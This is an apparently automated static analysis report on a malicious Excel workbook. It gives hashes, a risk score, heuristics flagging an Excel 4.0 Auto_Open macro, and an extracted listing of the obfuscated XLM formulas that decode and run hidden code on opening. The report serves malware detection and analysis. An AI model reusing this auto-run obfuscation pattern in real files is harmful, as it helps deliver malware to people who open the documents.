Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 94a9760be6c8326f…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:27:12 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: 4a9d4bddf99fc8c5ebfbe1dfd5595e5e SHA-1: 28699b53a3e73a044bc219c9dfeddc4922589203 SHA-256: 94a9760be6c8326f6c99057541c778e5f1ab274e638a5a21323b64e60a43236d
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6358 bytes
SHA-256: 95338d5c1f378327d7375607950d4efed940c7e9e2ce56e69e3ce9d9b1badf3d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  NGp
' 0018     24 LABEL : Cell Value, String Constant - AevMbCEOl len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A167 
' 0018     23 LABEL : Cell Value, String Constant - bAjuhUyo len=0 
' 0018     22 LABEL : Cell Value, String Constant - cVAyPLr len=0 
' 0018     21 LABEL : Cell Value, String Constant - fuFZZI len=0 
' 0018     25 LABEL : Cell Value, String Constant - GkLYdvyfbf len=0 
' 0018     22 LABEL : Cell Value, String Constant - GYpULDV len=0 
' 0018     20 LABEL : Cell Value, String Constant - iplxW len=0 
' 0018     27 LABEL : Cell Value, String Constant - iyMaxKmSOazA len=0 
' 0018     25 LABEL : Cell Value, String Constant - JAvwiwyrgQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - kzspx len=0 
' 0018     27 LABEL : Cell Value, String Constant - ObjooPXLBDZI len=0 
' 0018     23 LABEL : Cell Value, String Constant - oVHwuyeh len=0 
' 0018     21 LABEL : Cell Value, String Constant - OYxJck len=0 
' 0018     26 LABEL : Cell Value, String Constant - RyASocmywGy len=0 
' 0018     23 LABEL : Cell Value, String Constant - sDAfVcyA len=0 
' 0018     23 LABEL : Cell Value, String Constant - SPzxcRAj len=0 
' 0018     20 LABEL : Cell Value, String Constant - SZUUm len=0 
' 0018     24 LABEL : Cell Value, String Constant - TdWKJBAyK len=0 
' 0018     23 LABEL : Cell Value, String Constant - UpnNFaos len=0 
' 0018     20 LABEL : Cell Value, String Constant - VtgtJ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  NGp,A89,"SET.NAME("SPzxcRAj",VALUE("0"))",""
'  NGp,A93,"SET.NAME("TdWKJBAyK",SPzxcRAj)",""
'  NGp,A98,"SET.NAME("kzspx",SPzxcRAj)",""
'  NGp,A103,"SET.NAME("ObjooPXLBDZI",COUNTA(oVHwuyeh))",""
'  NGp,A105,"SET.NAME("GYpULDV",COUNTA(sDAfVcyA))",""
'  NGp,A110,[],""
'  NGp,A113,"SET.NAME("RyASocmywGy","")",""
'  NGp,A116,"TdWKJBAyK",""
'  NGp,A119,"SET.NAME("iplxW",HLOOKUP("*",oVHwuyeh,TdWKJBAyK,FALSE))",""
'  NGp,A121,"OYxJck",""
'  NGp,A124,"SET.NAME("bAjuhUyo",SPzxcRAj)",""
'  NGp,A128,[],""
'  NGp,A132,"bAjuhUyo",""
'  NGp,A134,"JAvwiwyrgQ",""
'  NGp,A136,"cVAyPLr",""
'  NGp,A140,"GkLYdvyfbf",""
'  NGp,A143,"SET.NAME("UpnNFaos",VALUE(HLOOKUP("*",sDAfVcyA,GkLYdvyfbf,FALSE)))",""
'  NGp,A146,"SZUUm",""
'  NGp,A150,"RyASocmywGy",""
'  NGp,A152,"kzspx",""
'  NGp,A154,NEXT(),""
'  NGp,A156,"fuFZZI",""
'  NGp,A159,"SET.NAME("f",INT(T(FORMULA(T(RyASocmywGy)&"",""&T(fuFZZI)))))",""
'  NGp,A161,"AevMbCEOl",""
'  NGp,A163,NEXT(),""
'  NGp,A165,RETURN(),""
'  NGp,A193,"SET.NAME("iyMaxKmSOazA",A89)",""
'  NGp,A198,"oVHwuyeh",""
'  NGp,A202,"SET.NAME("sDAfVcyA",R64C13)",""
'  NGp,A206,"SET.NAME("AevMbCEOl",212)",""
'  NGp,A209,"SET.NAME("VtgtJ",1)",""
'  NGp,A211,iyMaxKmSOazA(),""
'  NGp,A212,HALT(),""